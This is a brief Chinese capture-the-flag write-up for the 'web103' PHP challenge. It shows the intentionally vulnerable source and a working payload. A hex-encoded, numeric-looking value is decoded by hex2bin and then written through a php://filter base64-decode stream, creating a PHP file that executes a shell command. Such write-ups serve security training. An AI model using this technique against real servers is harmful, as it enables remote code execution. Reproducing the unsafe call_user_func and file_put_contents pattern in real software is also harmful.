web103笔记（playload不能有php）

<?php

/*
# -*- coding: utf-8 -*-
# @Author: atao
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-23 21:03:24

*/


highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    if(!preg_match("/.*p.*h.*p.*/i",$str)){
        file_put_contents($v3,$str);
    }
    else{
        die('Sorry');
    }
}
else{
    die('hacker');
}

?>

Notice: Undefined index: v1 in /var/www/html/index.php on line 14

Notice: Undefined index: v2 in /var/www/html/index.php on line 15

Notice: Undefined index: v3 in /var/www/html/index.php on line 16
hacker

上题payload就没有php

 

?v2=00504438395948526859794171594473&v3=php://filter/write=convert.base64-decode/resource=mm.php

post:
v1=hex2bin